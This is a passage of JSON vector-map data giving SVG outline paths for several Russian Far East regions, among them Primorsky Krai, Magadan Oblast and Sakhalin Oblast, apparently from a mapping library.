1.0714s-2.2493-0.54655-2.2493-1.2608c0-0.71429,1.6505-3.3604,1.6505-3.3604l-1.5873-1.6703-2.5415-0.82971-0.80806-1.618s0.69262-0.73594,1.5855-1.0931c0.89286-0.35714,1.0498-0.61866,1.0498-0.61866l-1.3852-0.89286v-2.4062c0-0.71429-0.074-2.3304-0.074-2.3304s-1.2718-1.1078-1.4502-2.345c-0.1894-1.3131,2.6371-1.7532,2.6371-1.7532l-0.93619-0.82972-0.49238-1.4917,0.2417-2.1339,2.7525-0.86037,2.9094-0.89285,2.4477,0.1371,0.70345-1.8922,3.2034,0.21106,2.9203,0.0108s0.35715-1.7749,0.35715-2.4892c0-0.71428-1.8705-1.618-1.4286-2.2691,0.40112-0.59101,1.5657-0.89285,2.4585-1.0714,0.89286-0.17858,3.9286-0.71429,4.1072-1.4286,0.17857-0.71428,2.5829-6.1562,2.5829-6.1562s0.96683-1.0083,1.6811-1.1869c0.71429-0.17857,3.9286-0.93432,3.9286-0.93432l-1.764-2.794-3.0051-2.8246-1.6378-4.8539-2.3214-2.1428-1.4286-1.7857v-5.3571l3.0357-6.7857-1.0714-3.2143-0.72512-5.8585,0.81889-2.85s3.5498,0.11543,4.264,0.29401c0.71428,0.17857,7.7634,0.22004,7.7634,0.22004s0.95599-4.0152,1.3131-4.7295c0.35714-0.71428,1.3871-0.826,2.28-1.0046,0.89286-0.17857,3.3495-0.62051,3.3495-0.62051l2.5433,1.1562,1.6071-1.0714z","name":"Khabarovsk Krai"},"eu":{"path":"m781.96,462.82c0.98214,1.875,1.1607,1.875,1.875,2.5893l2.6786,2.6786s0.80357,1.1607,1.0714,1.7857c0.26786,0.625-0.0893,1.6964,0.625,1.9643,0.71429,0.26785,2.3214,0.53571,2.7679,0.625,0.44643,0.0893,1.4286,1.0714,2.3214,1.1607,0.89285,0.0893,1.6071,0.0893,2.1428-0.35714,0.53572-0.44643,1.0714-1.25,1.6964-1.7857,0.625-0.53571,2.5893-1.4286,3.125-1.6964,0.53572-0.26785,1.875-0.625,2.3214-1.0714,0.44643-0.44643,1.1607-0.98215,1.1607-2.0536s0.26785-2.7678,0.71428-3.125c0.44643-0.35714,2.9464-1.9643,3.5714-2.5,0.625-0.53571,1.6964-2.2321,2.1429-2.8571,0.44643-0.625,1.875-2.6786,2.2321-3.2143,0.35714-0.53572,2.1429-2.0536,2.1429-2.0536l2.0536-2.3214,0.98214-1.0714,2.6786-1.875,0.71429-0.80357,0.17857-1.1607,0.0893-0.35714-1.5179-0.17857-1.875-0.0893-1.6964,0.44643-1.6964,1.1607-1.3393,1.25-0.80358,1.0714-1.25,1.6072-1.4286,0.98214-1.7857,0.625s-1.25,0.17857-1.7857,0c-0.53571-0.17857-2.1428-0.71429-2.1428-0.71429l-1.4286-0.625-0.80358-0.98214-0.89285-0.625s-0.80357-0.26786-1.1607-0.17857c-0.35714,0.0893-1.7857,0.625-1.7857,0.625l-2.0536,0.71429-2.4107,0.17857s-1.0714,0.44643-1.7857,0.625c-0.71429,0.17857-2.4107,0.80357-2.4107,0.80357l-1.4286,0.89285-1.875,0.26786-0.80357,0.17857-0.35714,0.98215-0.0893,1.4286s-0.44643,1.1607-0.44643,1.5178c0,0.35715-0.53571,1.875-0.53571,1.875l-0.53571,1.1607-0.71429,1.4286z","name":"Jewish Autonomous Oblast"},"pr":{"path":"m822.68,473.71c0,0.53571,0.53571,1.25,0.53571,1.25l1.4286,1.4286s0.35715,1.0714,0.44643,1.4286c0.0893,0.35714-0.625,2.0536-0.625,2.0536l-1.1607,2.7679s-0.0893,2.2321,0,2.5893c0.0893,0.35715,0.625,1.0714,0.89285,1.5179,0.26786,0.44643,0.80358,1.1607,0.80358,1.5179,0,0.35714-0.80358,1.9643-0.80358,1.9643v1.9643c0,0.44643-0.44642,1.9643-0.44642,1.9643s-0.17858,0.0893-0.17858,1.0714v2.7679c0,0.71429-0.26785,3.0357-0.35714,3.3929-0.0893,0.35714-1.9643,0.53571-2.3214,0.53571-0.35714,0-1.3393-0.98214-1.3393-0.98214s-0.98215-1.6071-1.1607-2.0536c-0.17857-0.44643-1.3393-1.5179-1.3393-1.875,0-0.35715-0.26786-1.6072-0.89286-1.7857-0.625-0.17857-1.5179,0.26786-1.5179,0.26786s-0.53571,0.89286-0.625,1.25c-0.0893,0.35714,0,0.98214-0.0893,1.4286-0.0893,0.44643-0.71429,2.5-0.71429,2.5s-0.625,0.625-1.1607,0.89286c-0.53572,0.26786-2.2322,1.0714-2.2322,1.6071,0,0.53572,1.0714,0.71429,2.1429,2.0536,1.0714,1.3393,3.125,4.6429,3.125,4.6429l2.5,4.2857,1.4286,4.9107s0.44643,1.6071,0.625,2.1429c0.17857,0.53571,0.89286,1.1607,0.98215,1.9643,0.0893,0.80357,0.53571,2.5-0.35715,2.8571-0.89285,0.35715-4.0178,1.0714-4.0178,1.0714l-0.71429,0.625,1.1607,0.71429s0.625,0.44643,1.0714,0.53571c0.44643,0.0893,0.53572,1.4286,0.98215,1.4286,0.44642,0,1.875-0.35714,2.4107-0.71428,0.53571-0.35714,1.3393-0.625,2.1429-0.625,0.80357,0,1.4286-0.44643,1.4286-1.0714,0-0.625-0.625-3.3929-0.625-3.8393,0-0.44642,1.5179-2.5893,1.5179-2.5893v-2.1429c0-0.35714-0.17858-1.4286,0.35714-1.5179,0.53571-0.0893,2.9464-0.71428,2.9464-0.71428s0-1.1607,1.0714-0.26786c1.0714,0.89286,1.5178,2.9464,1.5178,2.9464s1.875,0.35714,2.2322,0.17857c0.35714-0.17857,0.98214-0.625,1.5178-0.98214,0.53572-0.35714,2.5893-0.53572,3.3929-0.53572,0.80357,0,2.1429-0.44642,2.1429-0.44642l-0.26786-1.1607s2.0536-1.25,2.5-1.5179c0.44643-0.26785,2.2321-1.1607,2.8571-1.7857s1.5179-1.4286,1.9643-2.4107c0.44643-0.98215,1.3393-3.125,1.5179-3.4822,0.17857-0.35714,1.1607-2.5,1.4286-3.2143,0.26785-0.71429,0.89285-2.3214,1.3393-3.125,0.44643-0.80357,1.5179-2.8572,1.5179-2.8572s-0.0893-2.3214-0.0893-2.8571c0-0.53571-0.26785-1.875-0.625-2.8571-0.35714-0.98214-0.53571-1.1607-0.44642-2.1429,0.0893-0.98214,0.98214-1.6071,1.6071-2.0536,0.625-0.44643,1.0714-1.4286,1.0714-1.9643,0-0.53571-1.25-2.9464-1.25-2.9464s0.0893-1.1607,0.35714-1.6964c0.26786-0.53572,1.5179-1.7857,1.5179-1.7857l0.17857-2.9464s0.80357-2.2321,0.80357-2.6786c0-0.44643,0.26786-3.9286,0.26786-3.9286l0.89285-2.1429s0.26786-3.3928,0.26786-3.9286c0-0.53571-0.53571-5-0.53571-5.5357,0-0.53572-0.17857-4.1071-0.17857-4.7321s-0.71429-2.1429-0.71429-2.5893c0-0.44643,0.0893-2.1429,0.26786-2.5893,0.17857-0.44643,0.98214-1.9643,0.98214-1.9643s-0.0893-2.0536-0.0893-2.5893c0-0.53571,0.17858-1.6964-0.44642-1.7857s-2.3214,0.80357-2.3214,0.80357l-1.7857,0.71429-1.5178,0.17857-0.71429-0.44643-1.0714-1.4286s-0.26786-1.4286-0.26786-1.7857c0-0.35714-0.53571-1.1607-0.53571-1.1607l-1.25-1.3393-1.3393-1.3393-1.4286-0.71429-1.0714,0.17857s-0.98214,0.17858-1.0714,0.53572c-0.0893,0.35714-0.53572,0.44643-0.80358,0.80357-0.26785,0.35714-1.1607,1.3393-1.1607,1.3393l-0.53571,1.0714-0.44643,1.0714-0.80357,0.80357-0.17858,0.71429,0.35715,0.80357,0.89285,0.98214s0,0.71429,0.53572,0.80358c0.53571,0.0893,1.0714,0.0893,1.0714,0.0893h1.3393l1.25,0.625,0.71429,0.80357,0.0893,1.3393-0.26785,1.4286-0.44643,1.25-0.53572,0.71429-1.5178,0.89285-1.7857,0.89286-0.89285,0.89286,0.26785,0.80357,1.9643,0.80357,0.80357,0.98214-0.0893,0.71429-0.80357,1.0714-1.0714,1.0714-1.875,0.89286-1.7857,0.98214-3.64,1.44-1.6964,0.44643-1.9643,0.26786-0.89286-0.44643-1.25-0.71429s-0.53571-0.26786-0.89285,0c-0.35715,0.26786-0.625,0.98214-0.625,0.98214l-1.5179,1.0714-0.53571,1.6964,0.0893,1.3393s0.35714,0.71428,0.44643,1.1607c0.08,0.44,0.08,1.33,0.08,1.33l-0.0893,1.6071-0.98214,1.0714z","name":"Primorsky Krai"},"ma":{"path":"m829.64,182.46s1.0714,0.71428,2.1429,1.25c1.0714,0.53571,3.0357,2.1429,3.2143,2.8571,0.17857,0.71429,0.17857,2.3214,1.0714,2.8571,0.89286,0.53572,3.5714,1.0714,3.5714,1.0714l1.9643,0.89286,1.0714,1.7857,3.0357,1.6072s0.71429,1.0714,0.17857,1.9643c-0.53571,0.89286,0,2.6786,0,2.6786l2.5-0.35714,2.8572,0.35714,1.6071,2.3214,1.9643,2.6786,2.1429,1.0714,1.9643,2.1429,1.0714,1.9643,0.17857,2.5s-0.35715,2.5,0,3.2143c0.35714,0.71429,1.0714,3.75,1.0714,3.75l1.0714,1.7857s0.53572,1.0714,0.53572,1.7857c0,0.71428-0.89286,2.1429-0.89286,2.1429l0.17857,1.7857-1.9643-0.53571-0.35715-1.9643s0.35715-0.71429-0.53571-0.35714c-0.89286,0.35714-1.7857,1.4286-1.7857,1.4286s-0.35715,0.89286-1.0714-0.53572c-0.71429-1.4286-1.7857-1.9643-1.7857-1.9643s-1.6071-0.71429-1.6071-1.9643-1.7857-2.3214-1.7857-2.3214l-1.6072-1.4286s-0.35714,1.7857-0.35714,2.5c0,0.71429,1.4286,1.4286-0.35714,1.4286s-4.1072,0.71429-4.1072,0.71429l-0.89285,1.0714-0.35715,2.6786-1.25,1.25-2.6786,2.8571-0.35714,2.3214-1.0714,1.9643,0.53572,2.3214,1.4286,1.4286s0.53571,0.71428,0.53571,1.4286v2.6786l0.17857,1.6071,1.6072,1.4286,0.17857,4.4643v4.4643l0.17857,3.0357,1.7857,2.6786,1.0714,3.0357,0.35714,0.89285,1.9643,0.35715,1.0714-1.25,1.9643-1.0714s1.6072-0.17857,2.3214-0.17857c0.71429,0,1.6072,0.89285,1.6072,0.89285l0.17857,0.89286-1.7857,1.4286-1.7857,0.71429v1.0714l-0.71429,0.89285-1.7857,0.89286-1.25,0.53571-0.53572,0.71429-0.17857,2.6786v2.3214l-0.89285,0.71429-1.7857-0.89286-0.71428,1.4286-0.53572,2.5-1.0714,1.25-3.2143,0.71429-1.25-0.17858-0.53572-1.6071,2.5-1.6071,1.25-1.9643s1.9643-1.7857,0.53572-1.7857-2.6786,1.0714-2.6786,1.0714l-0.89286,1.25-0.89286,0.53571s-0.89286,0.35714-1.7857-0.17857c-0.89286-0.53571-2.3214-0.71429-2.3214-0.71429s-1.25,0.89286-1.25,1.4286c0,0.53571,0.35714,1.4286-0.53572,1.4286-0.89285,0-3.2143,0.17857-3.2143,0.17857l-2.5,1.6071-2.5,0.89286-1.0714,2.1429,0.35714,1.7857,0.53572,1.9643,0.35714,0.89285,1.6071,1.0714s0.17857,0.89286-1.7857,0.89286h-4.4643l-1.0714,2.1429-1.0714,1.25-2.5,0.35714-2.1429-2.8571-2.6786-1.25s-1.9643-0.71429-2.6786-0.71429c-0.71429,0-3.3929,0.17857-3.3929,0.17857l-2.1429,0.89286-1.7857,0.17857-1.25-0.89286-1.0714-1.7857-0.17857-2.3214,1.25-1.9643,0.17857-2.5-2.5-3.9286-2.3214-1.4286-2.3214-1.25-2.6786-0.71428-2.6786-0.71429-2.1429,0.71429-1.0714,1.4286-1.0714,1.9643-0.89285,1.25h-1.25l-1.25-1.9643-0.17857-0.89286,1.25-0.71429,0.35714-1.4286v-1.25l-1.25-1.25-5.7143-6.7857s-0.35714-1.0714-0.35714-1.7857v-3.2143l-1.78-0.88-0.89286-0.35714-0.17857-3.0357-0.53572-1.4286-1.0714-0.35714-0.35714-1.25,1.6071-1.4286,2.1429-0.17857,1.0714-0.53572,1.0714-1.0714,2.1429-0.17857,1.9643,0.17857,0.53572-1.0714-1.25-1.9643-1.4286-1.25-0.35714-2.1429s1.25-0.53571,1.9643-0.53571c0.71428,0,3.5714-1.0714,3.5714-1.0714l-0.17858-2.6786s0.53572-0.35714,1.25-0.35714c0.71429,0,3.9286,0.35714,3.9286,0.35714l2.1428-1.7857,4.1072-6.4286-0.17858-3.0357-1.4286-1.4286-2.6786-2.8572s-1.25-0.89285-1.4286-1.6071c-0.17857-0.71428-0.35714-1.7857-0.35714-1.7857l2.1428-2.3214,0.17858-1.6071-1.25-1.25-2.5,0.17857-0.71429-0.53572-1.0714-1.0714v-0.71429l3.06-0.86,1.25-1.0714-0.53572-1.4286-1.25-0.89285-0.17857-1.6072,2.1429-3.0357,3.75-1.25,2.1428-1.25-1.25-2.5s0.17858-0.35714,0.89286-0.35714c0.71429,0,3.3929,0.71428,3.3929,0.71428l1.0714-0.17857-0.53572-3.5714v-1.6071l1.4286-0.53572,0.2-2.66-0.17858-0.53571h2.5l1.6072,0.53571,0.53571,1.9643,1.0714,1.0714s0.53571,0.53571,1.25,0.53571,3.75-0.71428,3.75-0.71428l3.5714-0.71429,2.3214-0.35714,2.6786-1.0714,2.3214-1.4286,2.3214-0.89286,1.9643-0.17857,2.8571-0.35714,2.5-1.6072z","name":"Magadan Oblast"},"sh":{"path":"M943.16,321.59c-0.45,0.19-0.81,0.37-1.19,0.94s-0.31,1.53-0.5,1.85c-0.19,0.31-1.53,1.12-1.53,1.12-0.51,0.51-0.87,1.06-2,1.25-1.14,0.19-2.59-0.23-2.85,0.66-0.25,0.88,0.06,2.12,0.69,2.25,0.63,0.12,1.53,0.44,2.1,0.25,0.56-0.19,1.56-1.25,1.56-1.25s0.62,0.3,1,0.93c0.38,0.64,0.97,1.78,0.97,2.03,0,0.26,0.19,1.06-0.07,1.57-0.25,0.5-0.81,2.78-0.56,3.03s1.24,0.9,1.94,0.9c0.69,0,1.09,0.17,1.78-0.78,0.69-0.94,0.93-1.74,1.25-2.56s0.78-1.9,1.09-2.16c0.32-0.25,0.48-1.02-0.22-1.65-0.69-0.63-0.93-1.75-1-2.06-0.06-0.32-0.56-1.09-0.24-1.53,0.31-0.45,1.12-1.31,1-1.69-0.13-0.38-1.38-1.09-1.82-1.47s-0.96-1.82-1.4-1.63zm2.15,20.44s-0.43,0.15-0.69,0.85c-0.25,0.69-0.5,1.74-0.31,2.31s0.56,1.4,0.81,1.78c0.26,0.38,0.75,1.31,0.88,1.62,0.13,0.32,0.53,0.72,1.03,0.91,0.51,0.19,1.12,0.07,1.25-0.44,0.13-0.5,0.19-1.4,0.19-2.03s-0.19-2.15-0.19-2.53,0.07-0.87-0.31-1.31-2.66-1.16-2.66-1.16zm2.53,9.22c-0.56,0.19-1.9,0.5-2.15,0.69-0.26,0.19-0.63,0.52-0.5,1.03,0.12,0.5-0.2,1.24,0.5,1.69,0.69,0.44,2.15,0.96,2.53,1.09s0.55,0.44,1.19,0.13c0.63-0.32,1.09-0.59,1.03-1.41-0.07-0.82-0.59-1.62-0.78-1.88-0.19-0.25-1.5-1.34-1.5-1.34h-0.32zm-117,4.5l-1.87,1.25s0.5,1.12,0,1.12h-1.78s-1.26,0.78-0.5,1.29c0.76,0.5,2.4,0.87,3.03,1,0.63,0.12,1.52,0.65,2.16,1.15,0.63,0.51,1.49,0.87,1.74,1.63,0.26,0.76,0.63,2.28,0.63,2.28l0.91,1.62-0.54,2.16-1.74,0.13s-0.91-1.14-1.41-0.13c-0.51,1.01-0.5,1.77-0.5,2.41,0,0.63,0.27,1.24,0.91,1.37,0.63,0.13,1.48,0.4,2.74,1.41,1.27,1.01,2.03,2.9,2.29,3.53,0.25,0.63,0.24,2.65,0.5,3.41,0.25,0.75,1.4,2.02,2.03,2.53,0.63,0.5,2.03,2.52,2.28,3.03,0.25,0.5,1.25,2.4,1.5,2.9,0.25,0.51,1.78,1.75,1.78,1.75s1.24,1.15,2,1.66,3.8,1.37,4.56,1.37,3.03,0.66,3.28,1.16c0.26,0.51,2.78,5.66,2.78,5.66l5.57,8.34s2.52,2.15,3.15,2.66c0.64,0.5,2.4,3.9,2.91,4.65,0.51,0.76,2.12,4.44,2.5,4.94,0.38,0.51,3.69,5.06,3.69,5.06s2.77,1.88,3.4,2c0.64,0.13,3.41,1.91,3.41,1.91s2.65,2.9,2.78,3.41c0.13,0.5,0.75,3.53,0.75,3.53l2.16,3.4,3.15,2.66,2.5,5.19,0.53,2.25s0,2.15,0.5,2.53c0.51,0.38,5.29,4.06,5.29,4.06l1.65,0.88,1.78,0.25v-2.54s-0.9-1.65-1.15-2.15c-0.26-0.51-0.88-3.03-0.88-3.03s-0.5-0.74-0.5-1.63c0-0.88,0.75-2.4,0.75-2.4s1.53-0.25,2.16-0.25,1.24-0.12,2.25-0.63c1.01-0.5,2.41-0.37,2.41-0.37l2.28,2,1.37,0.78s0.5-1.4,0.5-2.03c0-0.64,0.01-1.53-0.62-2.41-0.64-0.88-1.63-1.88-1.63-1.88l-2.03-1.65s-0.99-1.38-1.75-1.25-1.15,0.24-1.41,0.75c-0.25,0.5,1.52,2.66,0,2.28-1.51-0.38-2.4-0.9-2.78-1.41-0.38-0.5-1.62-1.87-1.62-1.87s-2.4-1.28-3.03-1.53c-0.64-0.26-2.4-0.88-3.04-0.88-0.63,0-4.06-1.15-4.06-1.15l-2.12-2.38-2.41-6.31s-1.12-1.65-1.25-2.41-1.03-3.15-1.16-3.65c-0.12-0.51-0.37-2.28-0.62-2.78-0.25-0.51-1-2.29-1-2.29l-0.53-3.28,1.78-1.62s2.77-1.03,3.41-1.03c0.63,0,5.06-0.13,5.06-0.13l2.4,0.63s2,0.25,2.5,0.25c0.51,0,1.03,0.51,1.16-0.5s-1.53-2-1.53-2l-3.53-0.53-3.66-1.26-2.4-1.78-18.57-15.25-1.5-1.28-1.78-0.12s-0.87,0.13-1.25-0.63-0.4-1.27-1.15-1.9c-0.76-0.64-2.5-1.88-2.5-1.88s-1.52-0.25-2.66-0.5-3.66-1.4-3.66-1.4l-0.4-2.79-1.38-1.25-0.62-1.28,1.25-1.62-0.25-1.91-2.53-2.12-3.54-0.79s-2.4-0.99-2.65-1.5c-0.25-0.5,0.12-2.15,0.12-2.15s-0.62-1.12-1.12-1.5c-0.51-0.38-4.28-1.91-4.28-1.91l-2.91-1.9-1.03-2.63s0.01-1.91-0.63-1.91c-0.63,0-2.78-0.87-2.78-0.87zm119.16,7.94c-0.88,0.25-1.53,0.4-1.72,0.97-0.19,0.56,0.06,1.24,0.31,1.43,0.26,0.19,0.84,0.69,1.47,0.57,0.63-0.13,1.56-0.19,1.82-0.57,0.25-0.38-1.13-1.46-1.32-1.78-0.19-0.31-0.56-0.62-0.56-0.62zm1.75,4.06c-0.51,0.25-1.19,0.56-1.37,1.06-0.19,0.51,0.36,1.37,1,1.75,0.63,0.38,1.05,0.63,1.56,0.06,0.5-0.56,1.09-1.62,1.03-1.93-0.06-0.32-2.22-0.94-2.22-0.94zm0.19,6.97c-0.18,0.01-0.34,0.06-0.5,0.16-0.63,0.37-0.82,1.18-0.82,1.56s0.88,3.09,0.88,3.47-0.87,2.4-1,2.9c-0.13,0.51-0.01,1.33,0.62,2.6,0,0,1.13-0.25,1.38-0.25s1.72-0.94,1.84-1.19c0.13-0.25,0.44-2.28,0.44-2.91s-0.06-2.02-0.12-2.47c-0.07-0.44-0.63-1.4-0.63-1.78s-0.31-1.43-0.69-1.69c-0.28-0.18-0.87-0.44-1.4-0.4zm-4.41,14.53s-1.28,0.03-1.53,0.16c-0.25,0.12-0.69,0.49-0.81,0.75-0.13,0.25-0.57-0.07,0.06,0.62,0.63,0.7,1.02,1.38,1.66,1.38,0.63,0,2.06,0.65,2.31,0.65s1.03-0.21,1.22-0.47c0.19-0.25,0.75-0.49,0.31-1.18-0.44-0.7-0.97-1.06-1.22-1.19s-2-0.72-2-0.72zm1.81,6.47c-0.19,0.31-1.37,1.18-1.43,1.44-0.07,0.25-0.32,0.74-0.38,1.25-0.06,0.5-0.31,1.77-0.31,2.09s-0.53,1.59-0.78,2.16c-0.26,0.56-0.5,1.49-0.44,2.12s-0.07,1.09,0.19,1.66c0.25,0.57,0.24,1.18,0.56,1.37s-0.04,1.29,1.09,0.6c1.14-0.7,1.63-1.34,1.82-1.79,0.19-0.44,0.53-2.09,0.72-2.34,0.18-0.25,0.56-1.43,0.68-1.81,0.13-0.38,0.63-1.9,0.63-2.22s0.06-1.59-0.25-2.22c-0.32-0.63-1.19-1.31-1.19-1.31l-0.91-1zm-4.9,15.4c-0.26,0.07-0.97,0.19-1.28,0.44-0.32,0.26-0.63,0.56-0.69,0.75s-0.5,0.94-0.5,1.19,0.06,1.15,0,1.41c-0.06,0.25,0,0.56-0.56,0.81-0.57,0.25-1.22,0.43-1.6,0.56s-0.81,0.44-1.06,0.69-0.94,0.72-0.94,0.72-0.53,0.18-0.53,0.5c0,0.31,0.41,0.99,0.53,1.25,0.13,0.25,0.75,1.22,0.75,1.22l-0.18,0.75s-1.04,0.74-1.1,1.06c-0.06,0.31-0.12,1.59-0.12,1.97s0.06,1.74,0.06,2c0,0.25,0.19,1.84,0.19,2.09s0.15,1.34,0.28,1.97c0.12,0.63,0.12,1.06,0.43,1.44,0.32,0.38,0.56,1.03,0.88,1.22s0.5,0.68,0.88,0.62c0.37-0.06,1.71-1.03,1.71-1.03s0.63-0.62,0.75-1.06c0.13-0.44,0.44-2.16,0.44-2.16s0.19-1.37,0.13-1.69c-0.07-0.31-0.69-0.65-0.75-1.22-0.07-0.56-0.07-0.8,0-1.68,0.06-0.89,0.87-2.09,1.06-2.35,0.19-0.25,0.84-1.18,0.97-1.93,0.12-0.76-0.07-1.84,0.19-2.16,0.25-0.32,0.8-0.75,1.06-1.06,0.25-0.32,1.06-1.65,1.18-2.03,0.13-0.38,0.13-1.4,0.13-1.91s-0.31-1.37-0.56-1.56c-0.26-0.19-1.75-0.82-1.75-0.82zm-8.35,23.69c-0.31-0.01-0.62,0-0.75,0.03-0.25,0.07-0.56,0-0.81,0.32-0.25,0.31-0.78,0.71-1.22,0.84s-0.87,0-0.93,0.31c-0.07,0.32-0.26,0.87-0.26,1.13,0,0.25,0.06,0.74,0.32,1,0.25,0.25,0.62,0.21,0.75,0.78,0.12,0.57,0.19,1.18,0.12,1.44-0.06,0.25-0.31,1.12-0.37,1.43-0.07,0.32-0.19,0.4-0.38,1.03-0.19,0.64-0.31,1.38-0.31,1.76v1.15c0,0.38-0.06,1.19,0.13,1.44,0.18,0.25,0.62,0.56,0.87,0.81s1.47,0.47,1.72,0.47,0.5-0.28,0.75-0.66,0.56-0.99,0.56-1.56-0.12-2.96-0.06-3.28,1.12-0.84,1.19-1.41c0.06-0.56,0.03-1.74,0.09-2,0.06-0.25,0.31-1.15,0.31-1.15s0.75-0.44,0.88-0.81c0.12-0.38,0.25-1.13,0.25-1.5,0-0.38-0.19-1.54-0.19-1.54h-1.84c-0.19,0-0.5-0.02-0.82-0.03zm7.85,1.88c-0.57,1.01-0.72,0.99-0.78,1.75-0.07,0.76-0.88,1.53-0.88,1.53s-0.31,0.31-0.44,0.62c-0.12,0.32-0.69,0.81-0.06,1s1.72,0.19,1.97,0.07c0.25-0.13,0.75-0.69,1-0.82,0.25-0.12,0.44-0.49,0.44-1.37,0-0.89-0.19-1.9-0.31-2.16-0.13-0.25-0.94-0.62-0.94-0.62z","name":"Sakhalin Oblast"},"ka":{"path":"M888.56,146.75l-1.65,0.84c-0.26,0.13-1.25,0.88-1.25,0.88l-0.13,1,0.13,2.78,0.25,1.16-0.88,2.43-1.72,4.69-0.93,1.56-0.44,1.41-0.06,1.81s-0.22,1.03-0.47,1.22c-0.26,0.19-0.82,0.13-0.82,0.13h-1.81-2.59l-1.6-0.19-1.68-0.31s-0.53,0.25-0.85,0.25c-0.31,0-0.68,0.56-1,0.75-0.31,0.19-1.37,0.74-1.56,1-0.19,0.25-1.28,0.78-1.59,0.9-0.32,0.13-1.38,1-1.63,1.19s-0.78,0.56-1.22,0.63c-0.44,0.06-0.94-0.32-0.94-0.32s-0.62-0.99-0.74-1.25c-0.13-0.25-0.97-1.72-0.97-1.72s-0.07-1.31-0.13-1.62c-0.06-0.32-0.06-1.47-0.12-1.72-0.07-0.25-0.13-1.06-0.13-1.06s0.25-1.22,0.31-1.66c0.07-0.44,0.38-0.75,0.38-0.75s0-0.56-0.19-0.87c-0.19-0.32-0.81,0.06-0.81,0.06l-1.75,0.44-1.97,0.81-1.66,0.5-1.18,0.19-2.04-0.25s-1.62-0.38-1.87-0.57-1.03-0.12-1.03-0.12l-0.63,0.56-0.87,1.16-0.63,0.81-0.84,0.88s-1.31,0.74-1.56,0.87c-0.26,0.13-0.94,0.59-0.94,0.59l-1.22,1.32-1.44,2.28s-2.27,2.28-2.59,2.47-1.18,0.87-1.44,1.12c-0.25,0.25-1.34,0.38-1.72,0.44s-0.74,0.62-1,0.94c-0.25,0.31-1.15,1.28-1.15,1.28l-0.81,0.56s-0.75-0.31-1.13-0.31-0.44,0.31-0.44,0.31l-0.97,1.91-1,2.18s-0.5,1.59-0.5,1.91,0.63,0.44,0.88,0.63c0.25,0.18,1.65,0.8,2.03,1.06,0.38,0.25,1,0.84,1.31,1.15,0.32,0.32,1.41,1.32,1.41,1.32s-0.13,0.43-0.06,0.68c0.06,0.26,0.37,1.15,0.68,1.66,0.32,0.51,0.94,0.81,0.94,0.81s4.09,1.16,4.35,1.28c0.25,0.13,1.09,1.32,1.09,1.32l0.37,0.68s1.13,0.85,1.44,1.04c0.32,0.18,1.22,0.31,1.22,0.31l0.62,0.62,0.44,1.19s-0.31,1.59-0.37,1.97c-0.07,0.38-0.07,0.99,0,1.37,0.06,0.38,1.12-0.06,1.12-0.06s1.4-0.31,1.97-0.25,1.56,0.25,1.56,0.25,1.22,0.4,1.35,0.66c0.12,0.25,0.75,1.18,0.75,1.18l1.15,1.5,1.25,1.72,1.85,1.32,2,1.65,1,1.31s0.84-0.99,1.03-1.31c0.19-0.31,0-0.74,0-1.19,0-0.44-0.37-0.71-0.75-0.96-0.38-0.26-0.97-1.19-1.35-1.63-0.37-0.44-0.56-0.84-0.56-0.84s-0.81-1.06-1.06-1.31c-0.25-0.26-1.09-0.94-1.34-1.19-0.26-0.26-1.25-1.34-1.69-1.97s0-0.75,0-1.06c0-0.32,0.87-1.04,0.87-1.04s0.94-1.3,1.19-1.62,0.44-1.21,0.5-1.59,0.47-1.31,0.85-1.5c0.37-0.19,1.18-0.38,1.68-0.44,0.51-0.06,1.84,0.5,1.97,0.81,0.13,0.32-0.62,0.69-0.75,0.94-0.12,0.25,0,1.59-0.06,2.16-0.06,0.56,0.12,1.71,0.12,2.28,0,0.56,0.75,1.37,0.75,1.37s1.13,1.4,1.44,1.72c0.32,0.32,1.28,0.93,1.59,1.19,0.32,0.25,1.57,1.65,1.57,1.65l3.34,2.32,0.97,0.59s0.75,1.25,0.81,1.69c0.07,0.44,0.44,0.93,0.44,0.93s1.03,0.22,1.34,0.47c0.32,0.26,0.63,1.31,0.63,1.69s-0.12,1.03-0.44,1.47c-0.31,0.44-1.21,0.93-1.53,1.25s-0.69,0.75-0.69,0.75-0.06,5.68-0.06,6.25,0.75,1.78,1,2.16,1.21,2.14,1.72,2.9c0.5,0.76,0.69,1.12,0.69,1.44s0.25,1.66,0.25,1.66,0.56,10.46,0.62,11.09,0.59,1.03,0.78,1.41,0.75,0.93,1,1.18c0.26,0.26,0.75,0.84,0.88,1.16,0.12,0.32,0.97,1.62,0.97,1.62s0.74,2.78,0.87,3.54c0.13,0.75,0.13,1.72,0.13,1.72s1.31,3.96,1.31,4.4v1.47s-0.81,1.75-1.13,2.13c-0.31,0.37-0.06,1.77-0.06,2.09,0,0.31-1.34,2.46-1.84,2.84-0.51,0.38-1.31,1-1.44,1.38s0.25,1.03,0.25,1.03l1.81,0.87,2.28,0.94s1.09,2.15,1.47,2.66c0.38,0.5,0.56,1.59,0.56,1.9,0,0.32,0.32,3.47,0.44,4.16,0.13,0.69,0.38,1.65,0.56,2.09,0.19,0.45,1.79,1.5,1.79,1.5s2.21,3.94,2.34,4.25c0.13,0.32,0.81,1.69,1.06,2,0.08,0.1,0.29,0.25,0.53,0.41,0.62,0.78,3.07,1.94,3.07,1.94l0.93,0.62s4.63,4.25,4.69,4.5c0.06,0.26,2.78,2.32,2.78,2.32s2.34,0.84,2.6,1.03c0.25,0.19,1.68,0.75,1.68,0.75l14.91,10.22,2.03,1.21,3.03,0.94s1.19,1.59,1.44,1.72,3.15,1.19,3.59,1.19c0.45,0,1.47,1,1.47,1s2.59,2.78,2.97,3.03,2.56,1.91,2.56,1.91,2.09,1.18,2.47,1.18,2.85-0.5,2.85-0.5l0.68-0.62v-2.03s-0.06-1.69-0.06-1.88,0-1.21-0.25-1.53-0.81-0.88-0.81-0.88,0.18-1.52,0.44-1.96c0.25-0.45,0.43-0.69,0.43-1.07s-0.31-1.15-0.56-1.4c-0.25-0.26-0.5-1.19-0.5-1.19s-0.06-2.34-0.31-2.66c-0.25-0.31-1.09-0.99-1.28-1.62s-0.5-1.03-0.63-1.41c-0.12-0.38-1.37-1.62-1.62-2.06-0.26-0.44-1.53-1.59-1.72-1.84-0.19-0.26-0.31-1.28-0.5-2.1s-1.02-0.75-1.78-0.75-1.12-0.06-1.38-0.25c-0.25-0.19,0.5-0.43,0.75-0.56,0.26-0.13,1.09-0.9,1.28-1.22,0.19-0.31,0.5-1.37,0.5-1.37l0.69-4.22,1.91-1.6c0.38-0.31,0.25-0.93-0.19-1.31s-1.09-0.25-1.41-0.31c-0.31-0.06-0.8-0.84-1.31-1.16-0.5-0.31-0.84-0.81-1.28-1s-1.24-0.31-